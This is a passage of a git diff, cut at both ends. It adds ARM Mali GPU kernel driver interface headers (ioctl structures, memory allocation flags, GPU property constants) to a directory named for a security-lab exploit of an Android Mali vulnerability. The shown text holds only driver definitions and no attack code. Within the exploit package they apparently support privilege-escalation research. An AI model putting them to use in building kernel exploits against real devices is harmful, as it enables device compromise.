kbase_ioctl_hwcnt_values) + +/** + * struct kbase_ioctl_disjoint_query - Query the disjoint counter + * @counter: A counter of disjoint events in the kernel + */ +struct kbase_ioctl_disjoint_query { + __u32 counter; +}; + +#define KBASE_IOCTL_DISJOINT_QUERY \ + _IOR(KBASE_IOCTL_TYPE, 12, struct kbase_ioctl_disjoint_query) + +/** + * struct kbase_ioctl_get_ddk_version - Query the kernel version + * @version_buffer: Buffer to receive the kernel version string + * @size: Size of the buffer + * @padding: Padding + * + * The ioctl will return the number of bytes written into version_buffer + * (which includes a NULL byte) or a negative error code + * + * The ioctl request code has to be _IOW because the data in ioctl struct is + * being copied to the kernel, even though the kernel then writes out the + * version info to the buffer specified in the ioctl. + */ +struct kbase_ioctl_get_ddk_version { + __u64 version_buffer; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_GET_DDK_VERSION \ + _IOW(KBASE_IOCTL_TYPE, 13, struct kbase_ioctl_get_ddk_version) + +/** + * struct kbase_ioctl_mem_jit_init_10_2 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 10.2--11.4) + * @va_pages: Number of VA pages to reserve for JIT + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_10_2 { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_10_2 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_10_2) + +/** + * struct kbase_ioctl_mem_jit_init_11_5 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 11.5--11.19) + * @va_pages: Number of VA pages to reserve for JIT + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_11_5 { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_11_5 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_11_5) + +/** + * struct kbase_ioctl_mem_jit_init - Initialize the just-in-time memory + * allocator + * @va_pages: Number of GPU virtual address pages to reserve for just-in-time + * memory allocations + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * @phys_pages: Maximum number of physical pages to allocate just-in-time + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + */ +struct kbase_ioctl_mem_jit_init { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; + __u64 phys_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init) + +/** + * struct kbase_ioctl_mem_sync - Perform cache maintenance on memory + * + * @handle: GPU memory handle (GPU VA) + * @user_addr: The address where it is mapped in user space + * @size: The number of bytes to synchronise + * @type: The direction to synchronise: 0 is sync to memory (clean), + * 1 is sync from memory (invalidate). Use the BASE_SYNCSET_OP_xxx constants. + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_mem_sync { + __u64 handle; + __u64 user_addr; + __u64 size; + __u8 type; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_MEM_SYNC \ + _IOW(KBASE_IOCTL_TYPE, 15, struct kbase_ioctl_mem_sync) + +/** + * union kbase_ioctl_mem_find_cpu_offset - Find the offset of a CPU pointer + * + * @in: Input parameters + * @in.gpu_addr: The GPU address of the memory region + * @in.cpu_addr: The CPU address to locate + * @in.size: A size in bytes to validate is contained within the region + * @out: Output parameters + * @out.offset: The offset from the start of the memory region to @cpu_addr + */ +union kbase_ioctl_mem_find_cpu_offset { + struct { + __u64 gpu_addr; + __u64 cpu_addr; + __u64 size; + } in; + struct { + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_CPU_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 16, union kbase_ioctl_mem_find_cpu_offset) + +/** + * struct kbase_ioctl_get_context_id - Get the kernel context ID + * + * @id: The kernel context ID + */ +struct kbase_ioctl_get_context_id { + __u32 id; +}; + +#define KBASE_IOCTL_GET_CONTEXT_ID \ + _IOR(KBASE_IOCTL_TYPE, 17, struct kbase_ioctl_get_context_id) + +/** + * struct kbase_ioctl_tlstream_acquire - Acquire a tlstream fd + * + * @flags: Flags + * + * The ioctl returns a file descriptor when successful + */ +struct kbase_ioctl_tlstream_acquire { + __u32 flags; +}; + +#define KBASE_IOCTL_TLSTREAM_ACQUIRE \ + _IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire) + +#define KBASE_IOCTL_TLSTREAM_FLUSH \ + _IO(KBASE_IOCTL_TYPE, 19) + +/** + * struct kbase_ioctl_mem_commit - Change the amount of memory backing a region + * + * @gpu_addr: The memory region to modify + * @pages: The number of physical pages that should be present + * + * The ioctl may return on the following error codes or 0 for success: + * -ENOMEM: Out of memory + * -EINVAL: Invalid arguments + */ +struct kbase_ioctl_mem_commit { + __u64 gpu_addr; + __u64 pages; +}; + +#define KBASE_IOCTL_MEM_COMMIT \ + _IOW(KBASE_IOCTL_TYPE, 20, struct kbase_ioctl_mem_commit) + +/** + * union kbase_ioctl_mem_alias - Create an alias of memory regions + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.stride: Bytes between start of each memory region + * @in.nents: The number of regions to pack together into the alias + * @in.aliasing_info: Pointer to an array of struct base_mem_aliasing_info + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_alias { + struct { + __u64 flags; + __u64 stride; + __u64 nents; + __u64 aliasing_info; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_ALIAS \ + _IOWR(KBASE_IOCTL_TYPE, 21, union kbase_ioctl_mem_alias) + +enum base_mem_import_type { + BASE_MEM_IMPORT_TYPE_INVALID = 0, + /* + * Import type with value 1 is deprecated. + */ + BASE_MEM_IMPORT_TYPE_UMM = 2, + BASE_MEM_IMPORT_TYPE_USER_BUFFER = 3 +}; + +/** + * struct base_mem_import_user_buffer - Handle of an imported user buffer + * + * @ptr: address of imported user buffer + * @length: length of imported user buffer in bytes + * + * This structure is used to represent a handle of an imported user buffer. + */ + +struct base_mem_import_user_buffer { + __u64 ptr; + __u64 length; +}; + +/** + * union kbase_ioctl_mem_import - Import memory for use by the GPU + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.phandle: Handle to the external memory + * @in.type: Type of external memory, see base_mem_import_type + * @in.padding: Amount of extra VA pages to append to the imported buffer + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_import { + struct { + __u64 flags; + __u64 phandle; + __u32 type; + __u32 padding; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_IMPORT \ + _IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import) + +/** + * struct kbase_ioctl_mem_flags_change - Change the flags for a memory region + * @gpu_va: The GPU region to modify + * @flags: The new flags to set + * @mask: Mask of the flags to modify + */ +struct kbase_ioctl_mem_flags_change { + __u64 gpu_va; + __u64 flags; + __u64 mask; +}; + +#define KBASE_IOCTL_MEM_FLAGS_CHANGE \ + _IOW(KBASE_IOCTL_TYPE, 23, struct kbase_ioctl_mem_flags_change) + +/** + * struct kbase_ioctl_stream_create - Create a synchronisation stream + * @name: A name to identify this stream. Must be NULL-terminated. + * + * Note that this is also called a "timeline", but is named stream to avoid + * confusion with other uses of the word. + * + * Unused bytes in @name (after the first NULL byte) must be also be NULL bytes. + * + * The ioctl returns a file descriptor. + */ +struct kbase_ioctl_stream_create { + char name[32]; +}; + +#define KBASE_IOCTL_STREAM_CREATE \ + _IOW(KBASE_IOCTL_TYPE, 24, struct kbase_ioctl_stream_create) + +/** + * struct kbase_ioctl_fence_validate - Validate a fd refers to a fence + * @fd: The file descriptor to validate + */ +struct kbase_ioctl_fence_validate { + int fd; +}; + +#define KBASE_IOCTL_FENCE_VALIDATE \ + _IOW(KBASE_IOCTL_TYPE, 25, struct kbase_ioctl_fence_validate) + +/** + * struct kbase_ioctl_mem_profile_add - Provide profiling information to kernel + * @buffer: Pointer to the information + * @len: Length + * @padding: Padding + * + * The data provided is accessible through a debugfs file + */ +struct kbase_ioctl_mem_profile_add { + __u64 buffer; + __u32 len; + __u32 padding; +}; + +#define KBASE_IOCTL_MEM_PROFILE_ADD \ + _IOW(KBASE_IOCTL_TYPE, 27, struct kbase_ioctl_mem_profile_add) + +/** + * struct kbase_ioctl_sticky_resource_map - Permanently map an external resource + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to map + */ +struct kbase_ioctl_sticky_resource_map { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_MAP \ + _IOW(KBASE_IOCTL_TYPE, 29, struct kbase_ioctl_sticky_resource_map) + +/** + * struct kbase_ioctl_sticky_resource_map - Unmap a resource mapped which was + * previously permanently mapped + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to unmap + */ +struct kbase_ioctl_sticky_resource_unmap { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_UNMAP \ + _IOW(KBASE_IOCTL_TYPE, 30, struct kbase_ioctl_sticky_resource_unmap) + +/** + * union kbase_ioctl_mem_find_gpu_start_and_offset - Find the start address of + * the GPU memory region for + * the given gpu address and + * the offset of that address + * into the region + * @in: Input parameters + * @in.gpu_addr: GPU virtual address + * @in.size: Size in bytes within the region + * @out: Output parameters + * @out.start: Address of the beginning of the memory region enclosing @gpu_addr + * for the length of @offset bytes + * @out.offset: The offset from the start of the memory region to @gpu_addr + */ +union kbase_ioctl_mem_find_gpu_start_and_offset { + struct { + __u64 gpu_addr; + __u64 size; + } in; + struct { + __u64 start; + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 31, union kbase_ioctl_mem_find_gpu_start_and_offset) + +#define KBASE_IOCTL_CINSTR_GWT_START \ + _IO(KBASE_IOCTL_TYPE, 33) + +#define KBASE_IOCTL_CINSTR_GWT_STOP \ + _IO(KBASE_IOCTL_TYPE, 34) + +/** + * union kbase_ioctl_gwt_dump - Used to collect all GPU write fault addresses. + * @in: Input parameters + * @in.addr_buffer: Address of buffer to hold addresses of gpu modified areas. + * @in.size_buffer: Address of buffer to hold size of modified areas (in pages) + * @in.len: Number of addresses the buffers can hold. + * @in.padding: padding + * @out: Output parameters + * @out.no_of_addr_collected: Number of addresses collected into addr_buffer. + * @out.more_data_available: Status indicating if more addresses are available. + * @out.padding: padding + * + * This structure is used when performing a call to dump GPU write fault + * addresses. + */ +union kbase_ioctl_cinstr_gwt_dump { + struct { + __u64 addr_buffer; + __u64 size_buffer; + __u32 len; + __u32 padding; + + } in; + struct { + __u32 no_of_addr_collected; + __u8 more_data_available; + __u8 padding[27]; + } out; +}; + +#define KBASE_IOCTL_CINSTR_GWT_DUMP \ + _IOWR(KBASE_IOCTL_TYPE, 35, union kbase_ioctl_cinstr_gwt_dump) + +/** + * struct kbase_ioctl_mem_exec_init - Initialise the EXEC_VA memory zone + * + * @va_pages: Number of VA pages to reserve for EXEC_VA + */ +struct kbase_ioctl_mem_exec_init { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_EXEC_INIT \ + _IOW(KBASE_IOCTL_TYPE, 38, struct kbase_ioctl_mem_exec_init) + +/** + * union kbase_ioctl_get_cpu_gpu_timeinfo - Request zero or more types of + * cpu/gpu time (counter values) + * @in: Input parameters + * @in.request_flags: Bit-flags indicating the requested types. + * @in.paddings: Unused, size alignment matching the out. + * @out: Output parameters + * @out.sec: Integer field of the monotonic time, unit in seconds. + * @out.nsec: Fractional sec of the monotonic time, in nano-seconds. + * @out.padding: Unused, for __u64 alignment + * @out.timestamp: System wide timestamp (counter) value. + * @out.cycle_counter: GPU cycle counter value. + */ +union kbase_ioctl_get_cpu_gpu_timeinfo { + struct { + __u32 request_flags; + __u32 paddings[7]; + } in; + struct { + __u64 sec; + __u32 nsec; + __u32 padding; + __u64 timestamp; + __u64 cycle_counter; + } out; +}; + +#define KBASE_IOCTL_GET_CPU_GPU_TIMEINFO \ + _IOWR(KBASE_IOCTL_TYPE, 50, union kbase_ioctl_get_cpu_gpu_timeinfo) + +/** + * struct kbase_ioctl_context_priority_check - Check the max possible priority + * @priority: Input priority & output priority + */ + +struct kbase_ioctl_context_priority_check { + __u8 priority; +}; + +#define KBASE_IOCTL_CONTEXT_PRIORITY_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 54, struct kbase_ioctl_context_priority_check) + +/** + * struct kbase_ioctl_set_limited_core_count - Set the limited core count. + * + * @max_core_count: Maximum core count + */ +struct kbase_ioctl_set_limited_core_count { + __u8 max_core_count; +}; + +#define KBASE_IOCTL_SET_LIMITED_CORE_COUNT \ + _IOW(KBASE_IOCTL_TYPE, 55, struct kbase_ioctl_set_limited_core_count) + + +/*************** + * Pixel ioctls * + ***************/ + +/** + * struct kbase_ioctl_apc_request - GPU asynchronous power control (APC) request + * + * @dur_usec: Duration for GPU to stay awake. + */ +struct kbase_ioctl_apc_request { + __u32 dur_usec; +}; + +#define KBASE_IOCTL_APC_REQUEST \ + _IOW(KBASE_IOCTL_TYPE, 66, struct kbase_ioctl_apc_request) + +/*************** + * test ioctls * + ***************/ +#if MALI_UNIT_TEST +/* These ioctls are purely for test purposes and are not used in the production + * driver, they therefore may change without notice + */ + +#define KBASE_IOCTL_TEST_TYPE (KBASE_IOCTL_TYPE + 1) + + +/** + * struct kbase_ioctl_tlstream_stats - Read tlstream stats for test purposes + * @bytes_collected: number of bytes read by user + * @bytes_generated: number of bytes generated by tracepoints + */ +struct kbase_ioctl_tlstream_stats { + __u32 bytes_collected; + __u32 bytes_generated; +}; + +#define KBASE_IOCTL_TLSTREAM_STATS \ + _IOR(KBASE_IOCTL_TEST_TYPE, 2, struct kbase_ioctl_tlstream_stats) + +#endif /* MALI_UNIT_TEST */ + +/* Customer extension range */ +#define KBASE_IOCTL_EXTRA_TYPE (KBASE_IOCTL_TYPE + 2) + +/* If the integration needs extra ioctl add them there + * like this: + * + * struct my_ioctl_args { + * .... + * } + * + * #define KBASE_IOCTL_MY_IOCTL \ + * _IOWR(KBASE_IOCTL_EXTRA_TYPE, 0, struct my_ioctl_args) + */ + + +/********************************** + * Definitions for GPU properties * + **********************************/ +#define KBASE_GPUPROP_VALUE_SIZE_U8 (0x0) +#define KBASE_GPUPROP_VALUE_SIZE_U16 (0x1) +#define KBASE_GPUPROP_VALUE_SIZE_U32 (0x2) +#define KBASE_GPUPROP_VALUE_SIZE_U64 (0x3) + +#define KBASE_GPUPROP_PRODUCT_ID 1 +#define KBASE_GPUPROP_VERSION_STATUS 2 +#define KBASE_GPUPROP_MINOR_REVISION 3 +#define KBASE_GPUPROP_MAJOR_REVISION 4 +/* 5 previously used for GPU speed */ +#define KBASE_GPUPROP_GPU_FREQ_KHZ_MAX 6 +/* 7 previously used for minimum GPU speed */ +#define KBASE_GPUPROP_LOG2_PROGRAM_COUNTER_SIZE 8 +#define KBASE_GPUPROP_TEXTURE_FEATURES_0 9 +#define KBASE_GPUPROP_TEXTURE_FEATURES_1 10 +#define KBASE_GPUPROP_TEXTURE_FEATURES_2 11 +#define KBASE_GPUPROP_GPU_AVAILABLE_MEMORY_SIZE 12 + +#define KBASE_GPUPROP_L2_LOG2_LINE_SIZE 13 +#define KBASE_GPUPROP_L2_LOG2_CACHE_SIZE 14 +#define KBASE_GPUPROP_L2_NUM_L2_SLICES 15 + +#define KBASE_GPUPROP_TILER_BIN_SIZE_BYTES 16 +#define KBASE_GPUPROP_TILER_MAX_ACTIVE_LEVELS 17 + +#define KBASE_GPUPROP_MAX_THREADS 18 +#define KBASE_GPUPROP_MAX_WORKGROUP_SIZE 19 +#define KBASE_GPUPROP_MAX_BARRIER_SIZE 20 +#define KBASE_GPUPROP_MAX_REGISTERS 21 +#define KBASE_GPUPROP_MAX_TASK_QUEUE 22 +#define KBASE_GPUPROP_MAX_THREAD_GROUP_SPLIT 23 +#define KBASE_GPUPROP_IMPL_TECH 24 + +#define KBASE_GPUPROP_RAW_SHADER_PRESENT 25 +#define KBASE_GPUPROP_RAW_TILER_PRESENT 26 +#define KBASE_GPUPROP_RAW_L2_PRESENT 27 +#define KBASE_GPUPROP_RAW_STACK_PRESENT 28 +#define KBASE_GPUPROP_RAW_L2_FEATURES 29 +#define KBASE_GPUPROP_RAW_CORE_FEATURES 30 +#define KBASE_GPUPROP_RAW_MEM_FEATURES 31 +#define KBASE_GPUPROP_RAW_MMU_FEATURES 32 +#define KBASE_GPUPROP_RAW_AS_PRESENT 33 +#define KBASE_GPUPROP_RAW_JS_PRESENT 34 +#define KBASE_GPUPROP_RAW_JS_FEATURES_0 35 +#define KBASE_GPUPROP_RAW_JS_FEATURES_1 36 +#define KBASE_GPUPROP_RAW_JS_FEATURES_2 37 +#define KBASE_GPUPROP_RAW_JS_FEATURES_3 38 +#define KBASE_GPUPROP_RAW_JS_FEATURES_4 39 +#define KBASE_GPUPROP_RAW_JS_FEATURES_5 40 +#define KBASE_GPUPROP_RAW_JS_FEATURES_6 41 +#define KBASE_GPUPROP_RAW_JS_FEATURES_7 42 +#define KBASE_GPUPROP_RAW_JS_FEATURES_8 43 +#define KBASE_GPUPROP_RAW_JS_FEATURES_9 44 +#define KBASE_GPUPROP_RAW_JS_FEATURES_10 45 +#define KBASE_GPUPROP_RAW_JS_FEATURES_11 46 +#define KBASE_GPUPROP_RAW_JS_FEATURES_12 47 +#define KBASE_GPUPROP_RAW_JS_FEATURES_13 48 +#define KBASE_GPUPROP_RAW_JS_FEATURES_14 49 +#define KBASE_GPUPROP_RAW_JS_FEATURES_15 50 +#define KBASE_GPUPROP_RAW_TILER_FEATURES 51 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_0 52 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_1 53 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_2 54 +#define KBASE_GPUPROP_RAW_GPU_ID 55 +#define KBASE_GPUPROP_RAW_THREAD_MAX_THREADS 56 +#define KBASE_GPUPROP_RAW_THREAD_MAX_WORKGROUP_SIZE 57 +#define KBASE_GPUPROP_RAW_THREAD_MAX_BARRIER_SIZE 58 +#define KBASE_GPUPROP_RAW_THREAD_FEATURES 59 +#define KBASE_GPUPROP_RAW_COHERENCY_MODE 60 + +#define KBASE_GPUPROP_COHERENCY_NUM_GROUPS 61 +#define KBASE_GPUPROP_COHERENCY_NUM_CORE_GROUPS 62 +#define KBASE_GPUPROP_COHERENCY_COHERENCY 63 +#define KBASE_GPUPROP_COHERENCY_GROUP_0 64 +#define KBASE_GPUPROP_COHERENCY_GROUP_1 65 +#define KBASE_GPUPROP_COHERENCY_GROUP_2 66 +#define KBASE_GPUPROP_COHERENCY_GROUP_3 67 +#define KBASE_GPUPROP_COHERENCY_GROUP_4 68 +#define KBASE_GPUPROP_COHERENCY_GROUP_5 69 +#define KBASE_GPUPROP_COHERENCY_GROUP_6 70 +#define KBASE_GPUPROP_COHERENCY_GROUP_7 71 +#define KBASE_GPUPROP_COHERENCY_GROUP_8 72 +#define KBASE_GPUPROP_COHERENCY_GROUP_9 73 +#define KBASE_GPUPROP_COHERENCY_GROUP_10 74 +#define KBASE_GPUPROP_COHERENCY_GROUP_11 75 +#define KBASE_GPUPROP_COHERENCY_GROUP_12 76 +#define KBASE_GPUPROP_COHERENCY_GROUP_13 77 +#define KBASE_GPUPROP_COHERENCY_GROUP_14 78 +#define KBASE_GPUPROP_COHERENCY_GROUP_15 79 + +#define KBASE_GPUPROP_TEXTURE_FEATURES_3 80 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_3 81 + +#define KBASE_GPUPROP_NUM_EXEC_ENGINES 82 + +#define KBASE_GPUPROP_RAW_THREAD_TLS_ALLOC 83 +#define KBASE_GPUPROP_TLS_ALLOC 84 +#define KBASE_GPUPROP_RAW_GPU_FEATURES 85 + +#define BASE_MEM_MAP_TRACKING_HANDLE (3ull << 12) + +#endif /* _UAPI_KBASE_JM_IOCTL_H_ */ + diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/mali_base_jm_kernel.h b/SecurityExploits/Android/Mali/GHSL-2023-005/mali_base_jm_kernel.h new file mode 100644 index 0000000..b1cf438 --- /dev/null +++ b/SecurityExploits/Android/Mali/GHSL-2023-005/mali_base_jm_kernel.h @@ -0,0 +1,1216 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2019-2021 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_BASE_JM_KERNEL_H_ +#define _UAPI_BASE_JM_KERNEL_H_ + +#include + +typedef __u32 base_mem_alloc_flags; +/* Memory allocation, access/hint flags. + * + * See base_mem_alloc_flags. + */ + +/* IN */ +/* Read access CPU side + */ +#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0) + +/* Write access CPU side + */ +#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1) + +/* Read access GPU side + */ +#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2) + +/* Write access GPU side + */ +#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3) + +/* Execute allowed on the GPU side + */ +#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4) + +/* Will be permanently mapped in kernel space. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5) + +/* The allocation will completely reside within the same 4GB chunk in the GPU + * virtual space. + * Since this flag is primarily required only for the TLS memory which will + * not be used to contain executable code and also not used for Tiler heap, + * it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags. + */ +#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6) + +/* Userspace is not allowed to free this memory. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7) + +#define BASE_MEM_RESERVED_BIT_8 ((base_mem_alloc_flags)1 << 8) + +/* Grow backing store on GPU Page Fault + */ +#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9) + +/* Page coherence Outer shareable, if available + */ +#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10) + +/* Page coherence Inner shareable + */ +#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11) + +/* IN/OUT */ +/* Should be cached on the CPU, returned if actually cached + */ +#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12) + +/* IN/OUT */ +/* Must have same VA on both the GPU and the CPU + */ +#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13) + +/* OUT */ +/* Must call mmap to acquire a GPU address for the allocation + */ +#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14) + +/* IN */ +/* Page coherence Outer shareable, required. + */ +#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15) + +/* Protected memory + */ +#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16) + +/* Not needed physical memory + */ +#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17) + +/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the + * addresses to be the same + */ +#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18) + +/** + * Bit 19 is reserved. + * + * Do not remove, use the next unreserved bit for new flags + */ +#define BASE_MEM_RESERVED_BIT_19 ((base_mem_alloc_flags)1 << 19) + +/** + * Memory starting from the end of the initial commit is aligned to 'extension' + * pages, where 'extension' must be a power of 2 and no more than + * BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES + */ +#define BASE_MEM_TILER_ALIGN_TOP ((base_mem_alloc_flags)1 << 20) + +/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu + * mode. Some components within the GPU might only be able to access memory + * that is GPU cacheable. Refer to the specific GPU implementation for more + * details. The 3 shareability flags will be ignored for GPU uncached memory. + * If used while importing USER_BUFFER type memory, then the import will fail + * if the memory is not aligned to GPU and CPU cache line width. + */ +#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21) + +/* + * Bits [22:25] for group_id (0~15). + * + * base_mem_group_id_set() should be used to pack a memory group ID into a + * base_mem_alloc_flags value instead of accessing the bits directly. + * base_mem_group_id_get() should be used to extract the memory group ID from + * a base_mem_alloc_flags value. + */ +#define BASEP_MEM_GROUP_ID_SHIFT 22 +#define BASE_MEM_GROUP_ID_MASK \ + ((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT) + +/* Must do CPU cache maintenance when imported memory is mapped/unmapped + * on GPU. Currently applicable to dma-buf type only. + */ +#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26) + +/* Use the GPU VA chosen by the kernel client */ +#define BASE_MEM_FLAG_MAP_FIXED ((base_mem_alloc_flags)1 << 27) + +/* OUT */ +/* Kernel side cache sync ops required */ +#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28) + +/* Force trimming of JIT allocations when creating a new allocation */ +#define BASEP_MEM_PERFORM_JIT_TRIM ((base_mem_alloc_flags)1 << 29) + +/* Number of bits used as flags for base memory management + * + * Must be kept in sync with the base_mem_alloc_flags flags + */ +#define BASE_MEM_FLAGS_NR_BITS 30 + +/* A mask of all the flags which are only valid for allocations within kbase, + * and may not be passed from user space. + */ +#define BASEP_MEM_FLAGS_KERNEL_ONLY \ + (BASEP_MEM_PERMANENT_KERNEL_MAPPING | BASEP_MEM_NO_USER_FREE | \ + BASE_MEM_FLAG_MAP_FIXED | BASEP_MEM_PERFORM_JIT_TRIM) + +/* A mask for all output bits, excluding IN/OUT bits. + */ +#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP + +/* A mask for all input bits, including IN/OUT bits. + */ +#define BASE_MEM_FLAGS_INPUT_MASK \ + (((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK) + +/* A mask of all currently reserved flags + */ +#define BASE_MEM_FLAGS_RESERVED \ + (BASE_MEM_RESERVED_BIT_8 | BASE_MEM_RESERVED_BIT_19) + +#define BASEP_MEM_INVALID_HANDLE (0ull << 12) +#define BASE_MEM_MMU_DUMP_HANDLE (1ull << 12) +#define BASE_MEM_TRACE_BUFFER_HANDLE (2ull << 12) +#define BASE_MEM_MAP_TRACKING_HANDLE (3ull << 12) +#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE (4ull << 12) +/* reserved handles ..-47< for future special handles */ +#define BASE_MEM_COOKIE_BASE (64ul << 12) +#define BASE_MEM_FIRST_FREE_ADDRESS ((BITS_PER_LONG << 12) + \ + BASE_MEM_COOKIE_BASE) + +/* Similar to BASE_MEM_TILER_ALIGN_TOP, memory starting from the end of the + * initial commit is aligned to 'extension' pages, where 'extension' must be a power + * of 2 and no more than BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES + */ +#define BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP (1 << 0) + +/** + * If set, the heap info address points to a __u32 holding the used size in bytes; + * otherwise it points to a __u64 holding the lowest address of unused memory. + */ +#define BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE (1 << 1) + +/** + * Valid set of just-in-time memory allocation flags + * + * Note: BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE cannot be set if heap_info_gpu_addr + * in %base_jit_alloc_info is 0 (atom with BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE set + * and heap_info_gpu_addr being 0 will be rejected). + */ +#define BASE_JIT_ALLOC_VALID_FLAGS \ + (BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP | BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE) + +/** + * typedef base_context_create_flags - Flags to pass to ::base_context_init. + * + * Flags can be ORed together to enable multiple things. + * + * These share the same space as BASEP_CONTEXT_FLAG_*, and so must + * not collide with them. + */ +typedef __u32 base_context_create_flags; + +/* No flags set */ +#define BASE_CONTEXT_CREATE_FLAG_NONE 